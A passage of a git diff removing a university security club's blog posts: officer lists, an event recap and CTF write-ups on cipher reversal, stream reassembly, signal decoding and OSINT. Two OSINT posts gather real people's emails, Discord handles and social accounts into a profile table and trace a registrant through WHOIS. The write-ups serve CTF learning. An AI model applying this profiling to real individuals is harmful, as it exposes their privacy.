[slides](https://docs.google.com/presentation/d/1zy1O0yru-iAo_0W-uHK87YRraQqCaZOt8MVcUy_dclc/edit#slide=id.g57d8caec5c_0_0). - -Best of luck to all who run! diff --git a/content/blog/2019-2020-officers.md b/content/blog/2019-2020-officers.md deleted file mode 100644 index 7d97779..0000000 --- a/content/blog/2019-2020-officers.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: "2019-2020 Officers" -author: "Zander Work" -date: 2019-04-26T00:00:00-07:00 -categories: ['Meeting Notes', 'Club News'] -tags: [] -caption: "" - -draft: false ---- - -Here are the new officers for the 2019-2020 school year: - -- President: Zander Work -- Vice President: Hadi Rahal-Arabi -- Treasurer: David Park -- Multimedia Coordinator: Adam Stewart -- Lab Manager: Ryan Kennedy -- Recruitment/Public Relations: Alex Rash - -Thanks to everyone who participated! diff --git a/content/blog/2021-2022-osusec-officers-decided.md b/content/blog/2021-2022-osusec-officers-decided.md deleted file mode 100644 index aa887be..0000000 --- a/content/blog/2021-2022-osusec-officers-decided.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: "2021-2022 OSUSEC Officers Decided" -author: "Lyell Read" -date: 2021-04-24T00:00:00-07:00 -categories: ['Club News', 'Meeting Notes'] -tags: ['2021-2022 elections'] -caption: "" - -draft: false ---- - -For the coming school year, we welcome in 8 officers, in the following positions: - -- President: Lyell Read -- Vice President: Zach Taylor -- Treasurer: Mike Carris -- Lab Manager: Cameron McCawley -- Community Manager: Christa Wright -- Recruitment: Brandon Ellis -- CTF League Coordinator: Allen Benjamin -- Graphic Designer: Sierra Freihoefer - -This year is the first year that the posts of Recruitment Officer, CTF League Coordinator, and Community Manager were officially up for grabs. All three were positions that were voted in during the past year by the current officers, to respond to needs for these roles. - -Thanks to everyone who participated! diff --git a/content/blog/2022-2023-osusec-officers-decided.md b/content/blog/2022-2023-osusec-officers-decided.md deleted file mode 100644 index 0a77251..0000000 --- a/content/blog/2022-2023-osusec-officers-decided.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: "2022-2023 OSUSEC Officers Decided" -author: "Lyell Read" -date: 2022-04-13T00:00:00-07:00 -categories: ['Club News'] -tags: ['elections'] -caption: "" - -draft: false ---- - -The votes are in! After an entertaining election with some contested positions and contestants running from the floor, the officers for the next academic year, 2022-2023. - -**President:** Cameron McCawley -**Vice President:** Casey Colley -**Treasurer:** Mike Carris -**Lab Manager:** Lucas Ball -**CTF League Coordinator:** Allen Benjamin -**Recruitment Officer**: Brandon Ellis (Interim) -**Community Manager:** Gabriel Kulp - -Thanks to everyone who participated! diff --git a/content/blog/2023-2024-osusec-officers-selected.md b/content/blog/2023-2024-osusec-officers-selected.md deleted file mode 100644 index 4b0df85..0000000 --- a/content/blog/2023-2024-osusec-officers-selected.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: "2023-2024 OSUSEC Officers Selected" -author: "Julie Weber" -date: 2023-04-24T00:00:00-07:00 -categories: ['Club News'] -tags: ['elections'] -caption: "The club's new 6 officers in front of screens and a whiteboard" - -draft: false ---- - -This year’s elections were intense; every candidate was subjected to memes, music, and whiteboard art that led to a lot of laughs and a lot of great people elected. Without further adieu, here are your officers for the 2023-2024 academic year: - -**President:** Casey Colley -**Vice President:** Otso Barron -**Treasurer:** Abigail Whittle -**Lab Manager:** Lucas Ball -**CTF League Coordinator:** Zane Othman-Gomez -**Recruitment and Community Outreach Manager:** Julie Weber - -Thank you to all who came (or attended on Discord) and took part in democracy! diff --git a/content/blog/_index.md b/content/blog/_index.md deleted file mode 100644 index b6fc31a..0000000 --- a/content/blog/_index.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -title: Blog ---- - -We use our blog to post write-ups from competitions or wargame challenges, summaries of our meetings, important upcoming events, or something cool in security diff --git a/content/blog/angstromCTF-lithp.md b/content/blog/angstromCTF-lithp.md deleted file mode 100644 index 23d49ec..0000000 --- a/content/blog/angstromCTF-lithp.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: "ångstromCTF lithp" -author: "Lyell Read" -date: 2019-04-26T00:00:00-07:00 -categories: ['Writeups'] -tags: ['angstromctf'] -caption: "" - -draft: false ---- - -## Problem - -My friend gave me [this](https://github.com/lyellread/ctf-writeups/blob/master/angstromctf-2019/lithp-60/lithp.lisp) program but I couldn’t understand what he was saying – what was he trying to tell me? - -Author: fireholder - -Points: 60 - -## Solution - -First things first, let’s open that lisp program . . . It actually is lisp… oh god what have I just gotten into? - -The first lines were most important in solving this challenge the way I did it. It reads: - -``` -(defparameter *encrypted* '(8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312)) -(defparameter *flag* '(redacted)) -(defparameter *reorder* '(19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20)) -``` - -Well, then. Given that I do not want to read more lisp than I have to (lest I end up depressed), let’s try to make some sense just based on those variables. With quite a bit of certainty, it appears that reorder is as it is named – an array of indexes that will reorder something. My guess is that it is applied like this: - -``` -flag: 97 99 116 102 123 ... 125 -encrypt flag -for entry[i] in encrypted_flag: place that element at output[reorder[i]] -``` - -Now we need to try to unjumble this. I wrote up this mess to do that: - -``` -#!/usr/bin/python - -positions = [19, 4, 14, 3, 10, 17, 24, 22, 8, 2, 5, 11, 7, 26, 0, 25, 18, 6, 21, 23, 9, 13, 16, 1, 12, 15, 27, 20] -values = [8930, 15006, 8930, 10302, 11772, 13806, 13340, 11556, 12432, 13340, 10712, 10100, 11556, 12432, 9312, 10712, 10100, 10100, 8930, 10920, 8930, 5256, 9312, 9702, 8930, 10712, 15500, 9312] -output = [] - -for item in range (0, max(positions) + 1): - index = positions.index(item) #get the index in values of element number item - output.append(values[index]) #place that at the end of the output list - -print (output) - -$python3 ./undo_reorder.py -[9312, 9702, 13340, 10302, 15006, 10712, 10100, 11556, 12432, 8930, 11772, 10100, 8930, 5256, 8930, 10712, 9312, 13806, 10100, 8930, 9312, 8930, 11556, 10920, 13340, 10712, 12432, 15500] -``` - -Apparently, that should be in the right order. Let’s think about it with ASCII on the mind, we should have ‘actf{…}’. Looks about right with two very similar values in the spots where we would expect ‘{‘ and ‘}’… - -But those aren’t ASCII! yeah, but they are transformations of ascii values. It cannot be a scalar that is added to the ASCII values of the respective flag characters, as the ‘{‘ and ‘}’ values would have to be 2 apart (‘{‘ = 123, ‘}’ = 125). There could be a scalar value that all the ASCII codes are multiplied by. Let’s check that first value, 9312, which should be related to ASCII 97 (‘a’): - -``` ->>>9312/97 -96 -``` - -…interesting. Another: 15006 which should correspond to ‘{‘ or ASCII 123: - -``` ->>>15006/123 -122 -``` - -OK. So the algorithm to encrypt the flag is just: - -``` -for x in flag: - code = ascii value of x - encrypted_value = code * (code-1) -``` - -Now we can complete the script: - -``` -sorted = [9312, 9702, 13340, 10302, 15006, 10712, 10100, 11556, 12432, 8930, 11772, 10100, 8930, 5256, 8930, 10712, 9312, 13806, 10100, 8930, 9312, 8930, 11556, 10920, 13340, 10712, 12432, 15500] - -letters = [] -decoded = [] -solved = [] - -for ascii in range (0, 128): - letters.append(ascii*(ascii-1)) #create an array of all ascii values such that the index is the original value, and the value at that index is the encoded value. - -for x in sorted: - if x in letters: - decoded.append(letters.index(x)) #create a decoded array of values - -for x in decoded: - solved.append(chr(x)) #convert to chars - -print (''.join(solved)) #print that flag -``` - -These two scrips together make up [decode_lithp.py](https://github.com/lyellread/ctf-writeups/blob/master/angstromctf-2019/lithp-60/decode_lithp.py). - -``` -$python3 ./undo_encrypt.py -actf{help_me_I_have_a_lithp} -``` diff --git a/content/blog/angstromCTF-streams.md b/content/blog/angstromCTF-streams.md deleted file mode 100644 index 7c3fa98..0000000 --- a/content/blog/angstromCTF-streams.md +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: "ångstromCTF - streams" -author: "Lyell Read" -date: 2019-04-26T00:00:00-07:00 -categories: ['Writeups'] -tags: ['angstromctf'] -caption: "" - -draft: false ---- - -## Problem - -White noise is useful whether you are trying to sleep, relaxing, or concentrating on writing papers. Find some natural white noise [here](https://streams.2019.chall.actf.co/). - -Note: The flag is all lowercase and follows the standard format (e.g. actf{example_flag}) - -Author: ctfhaxor - -Points: 70 - -Hint: Are you sure that’s an mp4 file? What’s inside the file? - -## Solution - -First, we deduced some information about the challenge by reading the description. “The flag is all lowercase” implies that we will be constructing it letter by letter, possibly from audio. First thing to check out is the video on the linked website – just river sounds. - -We then proceeded to inspect the website – the HTML looks pretty standard, and I decided to leave player.js alone and come back to it if we failed to find a solution (would be more of a web challenge at that point). Under the ‘Network’ tab, we see that there appear to be two streams of chunks: - -![Screenshot of Network monitor on ](/blog/angstromctf-streams-network.jpg) - -- chunk-stream0-0000*.m4s chunks initiated by init-stream0.m4s -- chunk-stream1-0000*.m4s chunks initiated by init-stream1.m4s - -In addition there are two attempts to get a file called stream.mp4 (one that has a status of 206 – partial content, and one 200 – complete)… interesting. We got the file using the “Request URL”: - -``` -$wget https://streams.2019.chall.actf.co/video/stream.mp4 -$file stream.mp4 -stream.mp4: XML 1.0 document, ASCII text -``` - -That’s interesting… Let’s open that in an editor. The XML reads as follows (cleaned up for conciseness): - -``` - - - - - ... - - - - - - ... - - - - - - ... - - - - -``` - -Notice that there are actually 3 streams: 0: mp4 video, 1, 2: mp4 audio. Our hunch that some audio will contain our flag is looking good, but how to get this last audio file? To ensure that we know how this process of ‘getting’ a channel looks and works, we try it on a channel we know to exist: channel 0: mp4 video. - -From our examination of the files required for the page, we know there are 4 chunks needed, and an init file. We know their names too. - -``` -$wget https://streams.2019.chall.actf.co/video/init-stream0.m4s -$wget https://streams.2019.chall.actf.co/video/chunk-stream0-00001.m4s -... -$wget https://streams.2019.chall.actf.co/video/chunk-stream0-00004.m4s -$ls -chunk-stream0-00001.m4s -chunk-stream0-00002.m4s -chunk-stream0-00003.m4s -chunk-stream0-00004.m4s -init-stream0.m4s -``` - -Now that we have all our m4s chunks, we can concatenate them into an mp4 file: - -``` -$cat init-stream0.m4s $(ls -vx chunk-stream0-*.m4s) > stream0.mp4 -``` - -That file plays the video of the brook that is on the site! Now onto grabbing the unknown audio stream. We need: - - init file for stream2 - chunks 1..n for stream2 - -…and because we think we know naming conventions, we can guess that those files will be called: - -- init-stream2.m4s -- chunk-stream2-0000x.m4s | x in 1..n - -Lets go try to grab that init file: - -``` -$wget https://streams.2019.chall.actf.co/video/init-stream2.m4s -‘init-stream2.m4s’ saved [741/741] -``` - -It exists! We’re go to get the chunks now, but how do we know how many to grab? What I did was to keep wget-ing the next one while the size of the file was reasonably large: - -``` -$wget https://streams.2019.chall.actf.co/video/chunk-stream2-00001.m4s -‘chunk-stream2-00001.m4s’ saved [32629/32629] -``` - -… rinse repeat: - -``` -$ls -lah -32K chunk-stream2-00001.m4s -31K chunk-stream2-00002.m4s -32K chunk-stream2-00003.m4s -33K chunk-stream2-00004.m4s -32K chunk-stream2-00005.m4s -33K chunk-stream2-00006.m4s -9.7K chunk-stream2-00007.m4s -1.5K chunk-stream2-00008.m4s -883 chunk-stream2-00009.m4s -883 chunk-stream2-00010.m4s -883 chunk-stream2-00011.m4s -741 init-stream2.m4s -``` - -Notice how the sizes drop off at the end? Chunks 9, 10, 11 are not even fetching chunks anymore, they are getting the HTML for the site. We can delete those, and keep 1..8. - -Now we turn those good chunks into a mp4 file: - -``` -$cat init-stream2.m4s $(ls -vx chunk-stream2-*.m4s) > stream2.mp4 -``` - -Listening to this file makes it obvious that morse code is at play, so off to the [online audio file to text (via morse) converter](https://morsecode.scphillips.com/labs/audio-decoder-adaptive/). There we upload the mp4, and get this result: - -``` -ACTFF#45H-15-B34D-10N9-11V3-M#39-D45H) -``` - -Well that looks ok… but what are those ‘#’? running it again cleans some of this up: - -``` -ACTFF145H-15-B34D-10N9-11V3-MP39-D45H) -``` - -Let’s try to understand what it is saying. “flash is bead long live mpeg-dash”. They likely meant ‘dead’ not ‘bead’ so let’s fix that and give that flag a try: - -``` -actf{f145h_15_d34d_10n9_11v3_mp39_d45h} -``` diff --git a/content/blog/auctf-aliedas-about-some-thing.md b/content/blog/auctf-aliedas-about-some-thing.md deleted file mode 100644 index 70fd00e..0000000 --- a/content/blog/auctf-aliedas-about-some-thing.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: "AUCTF - ALIedAS About Some Thing" -author: "Lyell Read" -date: 2020-04-05T00:00:00-07:00 -categories: ['Writeups'] -tags: ['auctf'] -caption: "AUCTF logo" - -draft: false ---- - -903 points - -## Prompt - -See what you can find. - -`AUCTFShh` - -Author: c - -## Solution - -`AUCTFShh` looks like a username. To find where that username is in use, we can either check manually (as I started out doing), or use some tools from the [OSINT Framework Site](https://osintframework.com/). Specifically, I used `OSINT Framework` > `Username` > `Username Search Engines` > `Namechk`. - -![Screenshot of Namechk service for username 'AUCTFShh'](/blog/auctf-aliedas-about-some-thing-namechk1.png) - -I opened each of the greyed out sites in a tab, and looked through each for anything suspicious. The usual suspects (Twitter, Instagram, Reddit) were all blank (even on the Wayback Machine), so on further… - -The Steam account by the name of `AUCTFShh` [link](https://steamcommunity.com/id/AUCTFShh) [archive](http://archive.today/2020.04.06-023418/https://steamcommunity.com/id/AUCTFShh) shows that this user has aliased their user name to `youllneverfindmese`. Back to [Namechk](https://namechk.com/): - -![Screenshot of Namechk service for username 'youllneverfindmese'](/blog/auctf-aliedas-about-some-thing-namechk2.png) - -The first thing I noticed is the PasteBin account listed. Visiting it reveals that this user has one page [link](https://pastebin.com/qMRYqzYB) [archive](http://archive.today/2020.04.06-023833/https://pastebin.com/qMRYqzYB). It contains: - -``` -https://devs-r-us.xyz/jashbsdfh1j2345566bqiuwhwebjhbsd/flag.txt -``` - -The `devs-r-us.xyz` domain is part of another AUCTF challenge, so we know this is the right place to look. - -``` -wget https://devs-r-us.xyz/jashbsdfh1j2345566bqiuwhwebjhbsd/flag.txt -cat flag.txt -auctf{4li4s3s_w0nT_5t0p_m3_6722df34df} -``` - -~Lyell Read diff --git a/content/blog/auctf-good-old-days.md b/content/blog/auctf-good-old-days.md deleted file mode 100644 index 7824047..0000000 --- a/content/blog/auctf-good-old-days.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: "AUCTF - Good Old Days" -author: "Lyell Read" -date: 2020-04-05T00:00:00-07:00 -categories: ['Writeups'] -tags: ['auctf'] -caption: "AUCTF logo" - -draft: false ---- - -877 points - -## Prompt - -This site used to look a lot cooler. - -Author: c - -## Solution - -Wayback Machine, here I come! This is the most useful view of the captures for the site `ctf.auburn.edu`: [https://web.archive.org/web/sitemap/https://ctf.auburn.edu/](https://web.archive.org/web/sitemap/https://ctf.auburn.edu/). It shows that, among other subdirectories (and trust me, I visited each a couple times), the `/users` and `/users/50` pages have both been captured. - -[https://web.archive.org/web/20200213064621/https://ctf.auburn.edu/users](https://web.archive.org/web/20200213064621/https://ctf.auburn.edu/users) has a user called `auctf{Th053_w3rE_Th3_guD_0l3_d4y5}` – why it has to be at the end of that page, I don’t know (I checked the top half a couple times during my research). - -``` -auctf{Th053_w3rE_Th3_guD_0l3_d4y5} -``` - -~Lyell Read diff --git a/content/blog/auctf-osint-you-all-over-the-place.md b/content/blog/auctf-osint-you-all-over-the-place.md deleted file mode 100644 index 949d48b..0000000 --- a/content/blog/auctf-osint-you-all-over-the-place.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: "AUCTF - OSINT You All Over the Place" -author: "Lyell Read" -date: 2020-04-05T00:00:00-07:00 -categories: ['Writeups'] -tags: ['auctf'] -caption: "AUCTF logo" - -draft: false ---- - -A post-competition writeup; 983 points - -## Prompt - -I do not have access to the prompt, but the URL is `devs-r-us.xyz` - -## Solution - -After solving the first three challenges, I looked into this one. I investigated the website provided thouroughly, and found out the following: - -- Images `mcofee.png` and `mcafee.png` are different, their difference contains some data and a discord link (applicable to Oryx, the last OSINT challenge). -- Loretta Mcintosh (with twitter handle @BackUpOrMcintoshYouOut) and Jorge Greenwood (@JorgeGreenwoodCodes), and two sites listed in Jorge Greenwood’s Bio, all of which are dead ends on Wayback Machine and at the time of writing (facepalm.org was up for sale, and myworld.com was a corporate site). -- `dig devs-r-us.xyz +short`: `35.237.51.101` - -This is where I got stuck when working through this challenge. I did not (stupidly) pursue more info about the site itself, or who was responsible for hosting it. I wil next time, you can bet on that ;). - -First, we pull the ICANN information about the site resulting in [this](https://github.com/lyellread/ctf-writeups/blob/master/2020-auctf/osint-you-all-over-the-place/icann.json). - -That shows that the site is hosted by namecheap, so let’s pull the namesheet data for that site too, and see if we can get more information about it. I queried [https://www.namecheap.com/domains/whois/result?domain=devs-r-us.xyz](https://www.namecheap.com/domains/whois/result?domain=devs-r-us.xyz) and got [this](https://github.com/lyellread/ctf-writeups/blob/master/2020-auctf/osint-you-all-over-the-place/namecheap.txt). - -That reveals the email of the registrant is `shannonengrid@gmail.com`, so we can infer that their name is Shannon Engrid. - -A Google search turns up first result of Shannon’s linkedin profile [link](https://www.linkedin.com/in/shannon-engrid-07b0b01a2/detail/contact-info/) [archive](http://archive.today/2020.04.06-052058/https://www.linkedin.com/in/shannon-engrid-07b0b01a2/detail/contact-info/), which under “Contact Info” lists a twitter [link](https://twitter.com/SFelinefriend) [archive](http://archive.today/2020.04.06-052229/https://twitter.com/SFelinefriend), which in turn lists an instagram account [link](https://www.instagram.com/s.e.grid/) [archive](http://archive.today/2020.04.06-052233/https://www.instagram.com/s.e.grid/) - -This in turn has a photo on it, which is of some text: - -![Photo of a computer screen showing the Lorem Ipsum text containing a CTF flag](/blog/auctf-osint-you-all-over-the-place-lorem.jpg) - -There is “auctf” and some leetspeak in there, but it is surrounded by (and split up by) the default sample text (“Lorem ipsum dolor sit amet”). We need to remove that, which I did manually (for each word after “auctf”, if it is in the default text, do not count it in the flag) (based on [this](https://loremipsum.io/): - -``` -auctf{7sbhww4yt0g00Nf1nd1nGth3fl4G} -``` diff --git a/content/blog/auctf-who-made-me.md b/content/blog/auctf-who-made-me.md deleted file mode 100644 index cdc9ee0..0000000 --- a/content/blog/auctf-who-made-me.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: "AUCTF - Who Made Me" -author: "Lyell Read" -date: 2020-04-05T00:00:00-07:00 -categories: ['Writeups'] -tags: ['auctf'] -caption: "AUCTF logo" - -draft: false ---- - -950 points - -## Prompt - -> One of the developers of this CTF worked really hard on this challenge. - -> note: the answer is not the author’s name - -> Author: c - -## Solution: - -Now for a much more real-world OSINT challenge. First, I started by doing a bit of recon. I ascertained that: - -- `AU` in `AUCTF` is for Auburn University ([homeapge](https://www.auburn.edu/)) -- `AUCTF` is run by members of the `AUEHC` ([Auburn University Ethical Hacking Club](https://ehc.auburn.edu/)). `AUEHC` is comprised of members: - - President – Jordan Sosnowski: [jjs@auburn.edu](mailto:jjs@auburn.edu) - - Vice President – DeMarcus Campbell: [dec0013@auburn.edu](mailto:dec0013@auburn.edu) - - Treasure – Luke Gleba: [ljg0019@auburn.edu](mailto:ljg0019@auburn.edu) - - Technical Lead – Charlie Harper: [cah0111@auburn.edu](mailto:cah0111@auburn.edu) - - Technical Lead – Drew Batten: [akb0046@auburn.edu](akb0046@auburn.edu) - - [Source](https://ehc.auburn.edu/about/) -- `AUCTF` Discord is run by discord users: - - c AKA _c#9643 - - FireKing AKA Iamfireking#2686 - - JohnsonJangler AKA JohnsonJangler#0353 - - Kensocolo AKA Kensocolo#1000 - - nadrojisk AKA nadrojisk#6700 - - OG_Commando AKA The OG Commando#6632 - - vincent AKA FlaminArrowz#5042 - - 死神 (shinigami) AKA demarcus1621#6819 -- `AUEHC` also has a [Github Organization](https://github.com/auehc), which the following github users are a part of: - - Demarcus Campbell AKA demarcus1621 - - Jordan Sosnowski AKA nadrojisk - - Vincent Chu AKA vincentchu37 -- Within that organization are repos for: - - [AUCTF-2020](https://github.com/auehc/AUCTF-2020) Which contains entirely commits by `nadrojisk`, with a pending pull request formulated by `demarcus1621`, with nothing interesting in it. - - [Their site](https://github.com/auehc/auehc.github.io) - - Past competitions, mostly irrelevant to this challenge. -- Reddit account has posted three things, none of which are of use here: [https://www.reddit.com/user/auehc/](https://www.reddit.com/user/auehc/) -- CTFTime Team `AUEHC` only has one player, `nadrojisk`. [https://ctftime.org/team/82180](https://ctftime.org/team/82180) - -With that in mind, I went about composing this table: - -| Name | Discord | Github | Gitlab | Twitter | Notes | -|-------------------|----------------------------------------|---------------------------------|----------------------------------------|-------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------| -| Jordan Sosnowski | nadrojisk AKA nadrojisk#6700 | [https://github.com/nadrojisk](https://github.com/nadrojisk) | NA | [https://twitter.com/nadrojisk](https://twitter.com/nadrojisk) | All commits to the challenge repo. Prime suspect. Nothing interesting on twitter | -| Vincent Chu | vincent AKA FlaminArrowz#5042 | [https://github.com/vincentchu37](https://github.com/vincentchu37) | [https://github.com/vincentchu37/gitlab](https://github.com/vincentchu37/gitlab) | Private | Has commits to the site @ [https://github.com/auehc/auehc.github.io](https://github.com/auehc/auehc.github.io) , [https://www.linkedin.com/in/vincentchu37/](https://www.linkedin.com/in/vincentchu37/) | -| Demarcus Campbell | 死神 (shinigami) AKA demarcus1621#6819 | [https://github.com/demarcus1621](https://github.com/demarcus1621) | NA | Does not exist | Has pull request to auehc/AUCTF-2020 @ [https://github.com/auehc/AUCTF-2020/pull/1](https://github.com/auehc/AUCTF-2020/pull/1) but changes only to README.md, and from private repo 🙁 | -| Abhinav V. | Kensocolo AKA Kensocolo#1000 | NA | NA | [https://twitter.com/kensocolo](https://twitter.com/kensocolo) | Twitter, not much found | -| Charlie Harper | c AKA _c#9643 | [https://github.com/chharles](https://github.com/chharles) | NA | NA | Pretty sure this is Charlie Harper | - -The flag was in a repo that was *conveniently* not pinned in Vincent Chu’s github. This was in one of the past commits in their repo `AUCTF-2020` [link](AUCTF-2020) [archive](AUCTF-2020) made by github user `chharles`, who I have retroactively added to the table above. - -``` -auctf{G1tHuB_4lwAY5_r3mEmB3r5_8923_1750921} -``` - -~Lyell Read diff --git a/content/blog/bsidespdx-2022.md b/content/blog/bsidespdx-2022.md deleted file mode 100644 index d7a10e2..0000000 --- a/content/blog/bsidespdx-2022.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: "BSidesPDX 2022" -author: "Casey Colley" -date: 2022-10-08T00:00:00-07:00 -categories: ['Club News'] -tags: [] -caption: "OSUSEC members pose on stage after their first-place win being announced. " - -draft: false ---- - -Howdy Hackers! This Friday, a group of OSUSEC members took a day trip up to Portland to attend BSidesPDX 2022 and compete in their CTF. We had an absolute blast, winning first place in the CTF, attending many interesting talks, and making some new friends! We became known as the team competing in the closet, as the CTF team set up fort in a nearby maintenance closet instead of the official CTF room. For our win, the club won a Flipper Zero and bragging rights 🙂 - -Many thanks to the BSidesPDX crew for hosting another great year! The passion and hard work they bring to organizing the event is evident, and a treat every year. - -For more information on BSidesPDX, please visit: [https://bsidespdx.org/](https://bsidespdx.org/) - -![The OSUSEC team at BSides, crammed into an elevator, ready to head home.](/blog/bsidespdx-2022-elevator.jpg) - -![The CTF team in the “Big W” closet.](/blog/bsidespdx-2022-closet.jpg) diff --git a/content/blog/bsidespdx-down-the-rabbit-hole.md b/content/blog/bsidespdx-down-the-rabbit-hole.md deleted file mode 100644 index 01b7f07..0000000 --- a/content/blog/bsidespdx-down-the-rabbit-hole.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: "BSidesPDX - Down the Rabbit Hole" -author: "Lyell Read" -date: 2020-10-25T00:00:00-07:00 -categories: ['Writeups'] -tags: ['bsidespdx2020'] -caption: "BSidesPDX logo" - -draft: false ---- - -## Prompt - -Category: Over The Air - -297 Points - -5 Solves - -> During one of the commercial breaks of my favorite state sponsored educational video, there was some interference once again. There was a woman wearing some sort of face mask and there were strange tones. The tones were familiar and rang a bell, but I couldn’t quite put my finger on them. I don’t know what these things mean, but maybe you can figure it out. -> -> [twitch.tv/over_the_air](twitch.tv/over_the_air) -> -> Author(s): 0xdade & fdcarl - -## Solution - -This challenge is where we really… umm… go down the rabbit hole, you could say ;). I started by playing the whole video and noting all the oddities that I could find, and started working them out one by one: - -- [\[00:00\]](https://youtu.be/_QgPMyRBBKM) : Many QR codes on the standby screen (challenge 1, “please stand by”) -- [\[02:55\]](https://youtu.be/_QgPMyRBBKM?t=175) : Creepy appearance behind the betty crocker advertisement. -- [\[04:51\]](https://youtu.be/_QgPMyRBBKM?t=291) : Sneezing guy repeated a couple times in quick succession. -- [\[05:53\]](https://youtu.be/_QgPMyRBBKM?t=353) : In the duck & cover / burt the turtle clip, there’s a flag person in the bottom left that is sending text in the maritime flag signaling pattern. -- [\[08:24\]](https://youtu.be/_QgPMyRBBKM?t=504): In the atomic bomb / duck & cover intro, when in Betty’s school, a creepy plague doctor mask guy with numbers and letters, and a tune (challenge 2, “xclusive numborz”) -- [\[14:06\]](https://youtu.be/_QgPMyRBBKM?t=846) : When Tony is going to cubscouts / picnic – creepy guy overlay w anonymous-like mask on. -- [\[15:46\]](https://youtu.be/_QgPMyRBBKM?t=946) : In the announcement about the Secret Squadron, `0x13A5C` is displayed, and a number is heard dialing in the background. -- [\[17:21\]](https://youtu.be/_QgPMyRBBKM?t=1041) : Giant Behemoth: A message appears on the top of the screen. - -So, we eliminated or decoded one thing at a time, omitting the parts from previous challenges: - -- [\[05:53\]](https://youtu.be/_QgPMyRBBKM?t=353) : In the duck & cover / burt the turtle clip, there’s a flag person in the bottom left that is sending text in the maritime flag signaling pattern. - -The maritime / semaphore flag alphabet is documented, and I decoded the flag message to be two repetitions of: - -- J and ‘alphabetic’ (LH out ; RH up) -- B and 2 (LH down; RH out) -- S (LH low; RH out) -- I and 9 (LH across low; RH up) -- D and 4 (LH down; RH up – or LH up; RH down) -- E and 5 (LH high; RH down) -- S (LH low; RH out) -- T (LH up; RH high) -- R (LH out; RH out) -- O (LH across high; RH out) -- L (LH high; RH low) -- O (LH across high; RH out) -- L (LH high; RH low) -- O (LH across high; RH out) -- L (LH high; RH low) -- O (LH across high; RH out) - -To get result `BSIDESTROLOLOLOL`. Bummer, but at least we can cross off this lead for now. - -- [\[17:21\]](https://youtu.be/_QgPMyRBBKM?t=1041) : Giant Behemoth: A message appears on the top of the screen. - -The message on the top of the screen was decoded, as it was quickly identified to be the [pigpen cipher](https://en.wikipedia.org/wiki/Pigpen_cipher). - -![Screenshot of rune-like text, the pigpen cipher](/blog/bsidespdx-down-the-rabbit-hole-pigpen.png) - -`not a flag either` - -- [\[15:46\]](https://youtu.be/_QgPMyRBBKM?t=946) : In the announcement about the Secret Squadron, `0x13A5C` is displayed, and a number is heard dialing in the background. - -Now things get more interesting. We have the tones associated with dialing a phone number, and a message on screen. The message reads `0x13A5C`, which is `80476` in decimal. - -Decoding the phone dial presses is a matter of interpreting the [DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones. This requires first trimming the whole audio clip from the recording into [a clip of just the phone dial tones](https://github.com/lyellread/ctf-writeups/blob/master/2020-bsidesctf/down-the-rabbit-hole/dtmf.wav). This `.wav` file can then be put into [a dtmf decoder](https://github.com/ribt/dtmf-decoder), and it returns a phone number: `5038326682`. - -For this next part, I’ll rely on what my teammates described, as I cannot call that number. However, when called, the caller is asked for a number. When provided with `80476`, the voice on the other end sounds out the following string of morse code: - -``` --- ... --. -. ..- -- ....- .---- -.... ---.. ...-- -``` - -When decoded, this turns into the string `MSGNUM41683`, which we initially did not know what to do with. `41683` is another 5-digit number, however, so let’s just try calling 5038326682 back, and giving it our new number, shall we? - -More progress! The number speaks back `overtheair.space`. This link redirects us to [an unlisted YouTube video](https://www.youtube.com/watch?v=YcArof3MXx8) that contains more content similar to the twitch stream. In the middle of it, however, is a break, where loud beeping is heard that was instantly recognized to be [SSTV](https://en.wikipedia.org/wiki/Slow-scan_television). Now we need to decode that, and first that means downloading it… - -> Given the tragic closure of the `youtube-dl` repository caused by RIAA, we almost resorted to [downloading the source code off twitter, and reconstituting the youtube-dl source code from that](https://archive.vn/VdmaG), however someone still had youtube-dl installed, and we successfully (allegedly, maybe) downloaded that video (see there is a good use for `youtube-dl`, RIAA). - -With that in hand, we extracted and trimmed the audio to [just the SSTV parts](https://github.com/lyellread/ctf-writeups/blob/master/2020-bsidesctf/down-the-rabbit-hole/captured_signals_sstv.wav), and then came the fun part. - -Following [an extremely thorough guide about how to decode this very kind of file](https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04), from Carlos Delgado, we successfully set up `qsstv`, a virtual audio cable (loopback so that audio can be played from computer into `qsstv`), and we were off to the races: - -I was a bit slow to start it the first time, so I got the second half first: - -![Screenshot of grainy black and white video featuring a can of ovaltine and half of the CTF flag overtop](/blog/bsidespdx-down-the-rabbit-hole-ovaltine1.png) - -… and the second part on the second run: - -![Screenshot of grainy black and white video featuring a can of ovaltine and half of the CTF flag overtop](/blog/bsidespdx-down-the-rabbit-hole-ovaltine2.png) - -``` -BSidesPDX{b3_sUR3_T0_dr!nk_y0Ur_Ov4ltin3} -``` - -~Lyell diff --git a/content/blog/bsidespdx-please-stand-by.md b/content/blog/bsidespdx-please-stand-by.md deleted file mode 100644 index df5603c..0000000 --- a/content/blog/bsidespdx-please-stand-by.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: "BSidesPDX - Please Stand By" -author: "Lyell Read" -date: 2020-10-25T00:00:00-07:00 -categories: ['Writeups'] -tags: ['bsidespdx2020'] -caption: "BSidesPDX logo" - -draft: false ---- - -## Prompt - -Category: Over The Air - -263 Points - -14 Solves - -> Sometimes I like to tune into the TV when no shows are on so I can watch 